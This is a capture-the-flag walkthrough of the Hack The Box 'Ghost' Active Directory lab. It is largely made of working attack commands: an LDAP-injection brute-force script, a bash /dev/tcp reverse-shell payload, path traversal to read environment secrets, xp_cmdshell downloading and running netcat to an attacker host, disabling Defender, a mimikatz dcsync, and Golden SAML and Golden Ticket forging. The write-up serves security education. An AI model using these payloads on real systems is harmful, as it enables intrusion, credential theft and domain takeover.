Introduction
Ghost is a Windows Active Directory machine packed with advanced techniques. Don’t be discouraged by the “Insane” rating - this writeup explains every concept along the way. The full attack path:
- Enumeration → find a web intranet portal and a Ghost CMS blog
- LDAP Injection → bypass login and leak a Gitea token one character at a time
- Source Code Review → find a path traversal bug and a command injection bug in the Gitea repos
- Foothold → use both bugs to leak an API key, then get a shell on a Docker container as
root - Kerberos ticket theft → steal a domain user’s Kerberos ticket via a cached SSH session
- Hash stealing → add a fake DNS record to intercept an NTLMv2 hash, then crack it
- GMSA abuse → use the cracked credentials to read the ADFS service account’s managed password
- Golden SAML → forge a SAML token to log into the Ghost Core panel as Administrator
- Linked MSSQL → pivot through a cross-domain linked SQL server to get a shell on
corp.ghost.htb - Domain trust abuse → craft a Golden Ticket with Extra SIDs to fully compromise both domains and read
root.txt
Key Concepts
What is Active Directory (AD)? A Microsoft system that manages users, computers, and permissions across a corporate network. Most enterprise Windows environments use it. Hacking AD usually means chaining together credential theft, ticket abuse, and trust exploitation.
What is LDAP? Lightweight Directory Access Protocol - the protocol Windows uses to query Active Directory for user information. An LDAP injection works like SQL injection: you sneak wildcard characters into a login form to extract data the server never meant to share.
What is Kerberos? The authentication system used in Active Directory. Instead of sending passwords over the network, Kerberos issues encrypted “tickets”. If you can steal or forge a ticket, you can authenticate as that user without ever knowing their password.
What is a Kerberos Ticket Cache (.ccache)? A file on Linux that stores Kerberos tickets for a user’s session. If you find one on a compromised machine, you can export it and use it yourself.
What is GMSA? Group Managed Service Accounts are special AD accounts whose passwords are automatically rotated by the domain controller. Certain users can be granted permission to read the current password - which is exactly what we exploit here.
What is ADFS? Active Directory Federation Services - Microsoft’s Single Sign-On (SSO) system. It issues SAML tokens that let users log into web apps without re-entering their password.
What is a Golden SAML attack? If you compromise the ADFS signing key, you can forge a SAML token claiming to be any user - including Administrator - without knowing their password. It’s the SAML equivalent of a Golden Ticket.
What is a Golden Ticket? A forged Kerberos ticket signed with the domain’s krbtgt hash. Because Kerberos trusts anything signed by krbtgt, a golden ticket lets you impersonate any user in the domain - including Enterprise Administrator.
What are Extra SIDs? When two AD domains trust each other, a ticket from one domain can carry the SID (Security Identifier) of a group in the other domain. By stuffing the Enterprise Admins SID from ghost.htb into a ticket forged for corp.ghost.htb, we get admin rights across both domains.
Enumeration
Nmap: full port scan
ports=$(nmap -p- --min-rate=1000 -T4 <TARGET> | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV <TARGET>
Key open ports:
| Port | Service | Notes |
|---|---|---|
| 53 | DNS | Domain controller indicator |
| 88 | Kerberos | Confirms Active Directory |
| 389/636 | LDAP/LDAPS | AD directory services |
| 1433 | MSSQL | SQL Server - interesting! |
| 8008 | HTTP (nginx) | Ghost CMS blog |
| 8443 | HTTPS (nginx) | Ghost Core app |
From the Nmap output we also get three domain names: DC01.ghost.htb, core.ghost.htb, and ghost.htb. Add them all to /etc/hosts:
echo "<TARGET> DC01.ghost.htb core.ghost.htb ghost.htb" | sudo tee -a /etc/hosts
Subdomain fuzzing on port 8008
The Ghost CMS blog at http://ghost.htb:8008 doesn’t show anything useful. Let’s look for hidden subdomains:
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u http://ghost.htb:8008 -H "Host: FUZZ.ghost.htb" -fs 7676
Finds: intranet.ghost.htb
echo "<TARGET> intranet.ghost.htb" | sudo tee -a /etc/hosts
What is ffuf? A web fuzzer that rapidly tries thousands of possible subdomains or directory names. The
-fs 7676flag filters out responses with 7676 bytes - that’s the “not found” page size, so we only see real hits.
LDAP Injection: Leaking the Gitea Token
Bypass the intranet login
Visit http://intranet.ghost.htb:8008. You see a login form with a Username and Secret field. The page source reveals the username field name is ldap-username - a big hint that the backend queries LDAP.
Enter * in both fields. The wildcard matches everything in LDAP, so the server logs you in as the first matching user.
Once inside, the News section tells us:
- There’s a Gitea instance for code repositories
- The only valid login is
gitea_temp_principal, using their LDAP intranet token as the password - The token is stored in LDAP but not displayed here for “security reasons”
Extract the token character by character
Use BurpSuite to capture a real login POST request so you can see the hidden form fields. Then write a script that tries each character position with a wildcard:
import requests, string, re, json
def get_secret(debug=False):
url = "http://intranet.ghost.htb:8008/login"
secret = ""
alphabet = string.ascii_letters + string.digits
page = requests.get(url).text
action_1_0 = re.search(r'<input type="hidden" name="\$ACTION_1:0" value="([^"]+)"', page).group(1).replace(""", '"')
action_key = re.search(r'<input type="hidden" name="\$ACTION_KEY" value="([^"]+)"', page).group(1).replace(""", '"')
next_action = json.loads(action_1_0)["id"]
for i in range(16):
for letter in alphabet:
r = requests.post(url, data={
"1_$ACTION_REF_1": "",
"1_$ACTION_1:0": action_1_0,
"1_$ACTION_1:1": "[{}]",
"1_$ACTION_KEY": action_key,
"1_ldap-username": "gitea_temp_principal",
"1_ldap-secret": secret + letter + "*",
"0": '[{},"$K1"]'
}, headers={"Next-Action": next_action})
if "Invalid combination" in r.text:
continue
secret += letter
if debug:
print(letter, end='', flush=True)
break
return secret
if __name__ == "__main__":
get_secret(debug=True)
How does this work? If the server returns “Invalid combination”, the character is wrong. If it doesn’t, the character matched the wildcard filter - so we know that character is correct. We repeat this for each position until we have the full token.
Result: szrr8kpc3z6onlqf
Add the Gitea subdomain and log in:
echo "<TARGET> gitea.ghost.htb" | sudo tee -a /etc/hosts
Credentials: gitea_temp_principal:szrr8kpc3z6onlqf at http://gitea.ghost.htb:8008
Source Code Review: Finding the Vulnerabilities
You find two repos: blog and intranet. The blog README reveals:
- The blog runs Ghost CMS inside Docker
- An API key
DEV_INTRANET_KEYis stored as an environment variable - Public Ghost API key:
a5af628828958c976a3b6cc81a - The file
posts-public.jswas modified to add anextraparameter
The modified code in posts-public.js looks like this:
const extra = frame.original.query?.extra;
if (extra) {
const fs = require("fs");
if (fs.existsSync(extra)) {
const fileContent = fs.readFileSync("/var/lib/ghost/extra/" + extra, { encoding: "utf8" });
posts.meta.extra = { [extra]: fileContent };
}
}
What’s the bug? The code reads a file from
/var/lib/ghost/extra/+ whatever you pass in. If you pass in../../../../etc/passwd, the path becomes/var/lib/ghost/extra/../../../../etc/passwd- which resolves to/etc/passwd. This is a path traversal vulnerability: using../sequences to escape the intended directory.
The intranet repo contains backend/src/api/dev/scan.rs:
let result = Command::new("bash")
.arg("-c")
.arg(format!("intranet_url_check {}", data.url))
.output();
What’s the bug? The user’s input (
data.url) is dropped directly into a bash command with no sanitization. Appending; whoamiwould runwhoamias a separate command. This is a command injection vulnerability.
Foothold: Path Traversal → API Key → Reverse Shell
Step 1: Read the environment variables via path traversal
curl "http://ghost.htb:8008/ghost/api/v3/content/posts/?extra=../../../../../../../../proc/self/environ&key=a5af628828958c976a3b6cc81a"
The /proc/self/environ file contains all environment variables for the running process. In the output you’ll find:
DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe
Step 2: Use the API key to trigger command injection
Start a listener:
nc -lvnp 9001
Send the reverse shell payload to the vulnerable /api-dev/scan endpoint:
curl -X POST http://intranet.ghost.htb:8008/api-dev/scan \
-H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' \
-H 'Content-Type: application/json' \
-d '{"url":"; bash -i >& /dev/tcp/<YOUR_IP>/9001 0>&1"}'
You get a shell as root inside the Docker container.
Step 3: Upgrade to a proper TTY shell
script -c bash /dev/null
# Press CTRL+Z
stty raw -echo; fg
# Press Enter twice
Why do we do this? The initial shell is “dumb” - no arrow keys, no tab completion, signals break it. This sequence tricks the terminal into giving us a full interactive shell.
Kerberos Ticket Theft via SSH ControlMaster
Find the cached SSH session
ls -al /root/.ssh/controlmaster/
You’ll see a socket file:
florence.ramirez@ghost.htb@dev-workstation:22
What is SSH ControlMaster? It’s an SSH feature that reuses an existing connection for new sessions. The socket file is essentially a “key” that lets anyone who can access it SSH as that user - without a password.
Steal the Kerberos ticket
ssh florence.ramirez@ghost.htb@dev-workstation "cat /tmp/krb5cc_50 | base64 -w 0; echo"
Copy the base64 blob to your machine and decode it:
echo "<BASE64_BLOB>" | base64 -d > florence.ccache
export KRB5CCNAME=florence.ccache
klist
You now have a valid Kerberos TGT for florence.ramirez@GHOST.HTB.
DNS Poisoning → NTLMv2 Hash Theft
Read the forum
Back on the intranet, the Forum tab shows a post from justin.bradley saying his script tries to connect to bitbucket.ghost.htb but the DNS entry doesn’t exist yet.
Create the DNS entry pointing to your machine
The florence.ramirez ticket gives you enough AD access to add DNS records:
bloodyAD -d ghost.htb -k --host DC01.ghost.htb add dnsRecord bitbucket <YOUR_IP>
Wait for the connection with Responder
responder -I tun0 -v
After a short wait, justin.bradley’s script tries to reach bitbucket.ghost.htb, hits your machine, and Responder captures the NTLMv2 hash.
What is Responder? A tool that listens for LLMNR/NBT-NS/HTTP authentication requests and captures the NTLMv2 challenge/response hashes that Windows sends automatically when it tries to authenticate.
Crack the hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Password: Qwertyuiop1234$$
Log in with WinRM:
evil-winrm -i ghost.htb -u justin.bradley -p 'Qwertyuiop1234$$'
The user flag is on C:\Users\justin.bradley\Desktop\user.txt.
GMSA Password Abuse
Run BloodHound to map AD paths
bloodhound-python -d ghost.htb -c All -u justin.bradley -p 'Qwertyuiop1234$$' \
-dc DC01.ghost.htb -ns <TARGET>
BloodHound shows justin.bradley has ReadGMSAPassword over ADFS_GMSA$.
What is ReadGMSAPassword? A permission that lets a user retrieve the current auto-managed password for a Group Managed Service Account. We can read the NTLM hash directly.
Read the GMSA password
nxc ldap ghost.htb -u justin.bradley -p 'Qwertyuiop1234$$' --gmsa
ADFS_GMSA$ NTLM hash: 4b020ee46c62ff8181f96de84088ff37
Log in as the service account:
evil-winrm -i ghost.htb -u 'ADFS_GMSA$' -H 4b020ee46c62ff8181f96de84088ff37
Golden SAML Attack
Add the federation subdomain
echo "<TARGET> federation.ghost.htb" | sudo tee -a /etc/hosts
Visiting https://core.ghost.htb:8443 shows a “Login using AD Federation” button, which redirects to federation.ghost.htb. Logging in as justin.bradley succeeds but shows “this page is only available to Administrator”.
Dump the ADFS signing keys
Upload and run ADFSDump.exe as ADFS_GMSA$:
.\ADFSDump.exe
This outputs two things:
- Private Key (DKM Key): a hex string
- Encrypted Token Signing Key (TKS Key): a base64 blob
Copy both to your machine and convert them:
cat TKSKey.txt | base64 -d > TKSKey.bin
cat DKMKey.txt | tr -d "-" | xxd -r -p > DKMkey.bin
Forge the Golden SAML token
python3 ADFSpoof.py -b TKSKey.bin DKMkey.bin \
-s 'core.ghost.htb' saml2 \
--endpoint 'https://core.ghost.htb:8443/adfs/saml/postResponse' \
--nameidformat 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress' \
--nameid 'Administrator@ghost.htb' \
--rpidentifier 'https://core.ghost.htb:8443' \
--assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>Administrator@ghost.htb</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'
What just happened? We used the stolen signing key to create a cryptographically valid SAML token that claims we are Administrator. Since we hold the private key, the server has no way to tell it’s forged.
Use BurpSuite to intercept the login flow and replace the SAMLResponse field with your forged token. You land on the Ghost Config Panel with database admin access.
Cross-Domain Pivot via Linked MSSQL
The Config Panel reveals two linked SQL servers: one on ghost.htb (DC01) and one on corp.ghost.htb (PRIMARY).
Check who we are on the remote DB
select result from openquery("PRIMARY", 'select suser_name() as result')
-- Returns: bridge_corp (low-privilege)
Check impersonation rights
select result from openquery("PRIMARY", 'select distinct b.name as result from sys.server_permissions a inner join sys.server_principals b on a.grantor_principal_id = b.principal_id where a.permission_name = ''IMPERSONATE'';')
-- Returns: sa
Impersonate sa and enable xp_cmdshell
exec ('execute as login = ''sa''; exec sp_configure ''show advanced options'', 1; reconfigure; exec sp_configure ''xp_cmdshell'', 1; reconfigure;') at "PRIMARY"
exec ('execute as login = ''sa''; exec xp_cmdshell ''whoami''') at "PRIMARY"
-- Returns: nt service\mssqlserver
What is xp_cmdshell? A built-in SQL Server feature that lets you run operating system commands. It’s disabled by default for security, but sa (super admin) can re-enable it.
Get a reverse shell
Host nc64.exe on your machine, then:
exec ('execute as login = ''sa''; exec xp_cmdshell ''curl.exe http://<YOUR_IP>/nc64.exe -o C:\windows\temp\nc64.exe''') at "PRIMARY"
exec ('execute as login = ''sa''; exec xp_cmdshell ''C:\windows\temp\nc64.exe -e powershell <YOUR_IP> 9001''') at "PRIMARY"
You now have a shell as nt service\mssqlserver on the corp.ghost.htb machine.
Privilege Escalation: SeImpersonatePrivilege → SYSTEM
whoami /priv
# SeImpersonatePrivilege Enabled
What is SeImpersonatePrivilege? A Windows privilege that lets a process impersonate any user that authenticates to it. Combined with a “Potato” exploit, it reliably escalates to SYSTEM.
Transfer and compile EfsPotato.cs:
wget <YOUR_IP>/EfsPotato.cs -usebasicparsing -O EfsPotato.cs
C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe EfsPotato.cs
Trigger with a listener on port 9001:
.\EfsPotato.exe 'C:\windows\temp\nc64.exe <YOUR_IP> 9001 -e powershell.exe'
# whoami → nt authority\system
Domain Trust Abuse: Golden Ticket Across Forests
Disable Defender
Set-MpPreference -DisableRealtimeMonitoring $True
Check the trust
iex(iwr <YOUR_IP>/powerview.ps1 -usebasicparsing)
get-domaintrust
# TrustDirection: Bidirectional
# ghost.htb ↔ corp.ghost.htb
What is a bidirectional trust? Both domains trust each other’s authentication. This means a ticket from
corp.ghost.htbcan carry permissions fromghost.htb- which we’ll abuse with Extra SIDs.
Collect the required values
get-domainsid ghost.htb # S-1-5-21-4084500788-938703357-3654145966
get-domainsid corp.ghost.htb # S-1-5-21-2034262909-2733679486-179904498
Dump the krbtgt hash for corp.ghost.htb with mimikatz:
.\mimikatz.exe 'lsadump::dcsync /user:krbtgt@corp.ghost.htb' exit
# aes256: b0eb79f35055af9d61bcbbe8ccae81d98cf63215045f7216ffd1f8e009a75e8d
Forge the Golden Ticket with Extra SIDs
.\Rubeus.exe golden /aes256:b0eb79f35055af9d61bcbbe8ccae81d98cf63215045f7216ffd1f8e009a75e8d /ldap /user:Administrator /sids:S-1-5-21-4084500788-938703357-3654145966-519 /ptt
Breaking this down:
/aes256:...- thekrbtgtkey used to sign the ticket/user:Administrator- who we’re claiming to be/sids:...-519- the-519suffix is the well-known RID for Enterprise Admins inghost.htb/ptt- Pass The Ticket: inject it into our current session immediately
Read the root flag
dir \\dc01.ghost.htb\c$\Users\Administrator\Desktop
type \\dc01.ghost.htb\c$\Users\Administrator\Desktop\root.txt
Summary
nmap → ports 8008/8443 (Ghost CMS + intranet)
↓
ffuf → intranet.ghost.htb → LDAP login form
↓
LDAP injection (*) → logged in → News: gitea_temp_principal account found
↓
Python LDAP wildcard bruteforce → Gitea token: szrr8kpc3z6onlqf
↓
Gitea repos → blog/posts-public.js (path traversal) + intranet/scan.rs (command injection)
↓
Path traversal → /proc/self/environ → DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe
↓
Command injection via /api-dev/scan → reverse shell as root (Docker container)
↓
/root/.ssh/controlmaster → SSH as florence.ramirez → steal krb5cc ticket
↓
export KRB5CCNAME → authenticated to ghost.htb AD as florence.ramirez
↓
bloodyAD → add DNS record bitbucket → Responder catches justin.bradley NTLMv2 hash
↓
john → Qwertyuiop1234$$ → evil-winrm as justin.bradley → user flag
↓
BloodHound → justin.bradley has ReadGMSAPassword on ADFS_GMSA$
↓
nxc --gmsa → ADFS_GMSA$ NTLM: 4b020ee46c62ff8181f96de84088ff37
↓
evil-winrm as ADFS_GMSA$ → upload ADFSDump → dump DKM key + TKS key
↓
ADFSpoof → forge Golden SAML as Administrator@ghost.htb
↓
BurpSuite → replace SAMLResponse → Ghost Config Panel (DB admin)
↓
Linked MSSQL → openquery(PRIMARY) → impersonate sa → xp_cmdshell → shell on corp.ghost.htb
↓
SeImpersonatePrivilege → EfsPotato → NT AUTHORITY\SYSTEM on corp.ghost.htb
↓
mimikatz dcsync → krbtgt AES256 for corp.ghost.htb
↓
Rubeus golden + ExtraSIDs (Enterprise Admins SID from ghost.htb) → Golden Ticket /ptt
↓
dir \\dc01.ghost.htb\c$\Users\Administrator\Desktop → root.txt
Tools Used
| Tool | What it does | How to get it |
|---|---|---|
| ffuf | Subdomain and directory fuzzer | sudo apt install ffuf |
| BurpSuite | HTTP proxy for intercepting/modifying requests | portswigger.net |
| bloodyAD | AD manipulation over Kerberos (add DNS records, etc.) | pip install bloodyad |
| Responder | Capture NTLMv2 hashes via poisoned responses | Built into Kali |
| john | Password cracker | sudo apt install john |
| evil-winrm | WinRM shell for Windows machines | gem install evil-winrm |
| bloodhound-python | Collect AD data for BloodHound | pip install bloodhound |
| nxc (NetExec) | Swiss-army knife for AD enumeration | pip install netexec |
| ADFSDump | Extract ADFS signing keys (needs Visual Studio to compile) | GitHub |
| ADFSpoof | Forge Golden SAML tokens | GitHub |
| mimikatz | Dump Windows credentials and Kerberos hashes | GitHub |
| Rubeus | Kerberos ticket manipulation and golden ticket creation | GitHub |
| EfsPotato | SeImpersonatePrivilege → SYSTEM exploit | GitHub |
| PowerView | PowerShell AD enumeration | GitHub |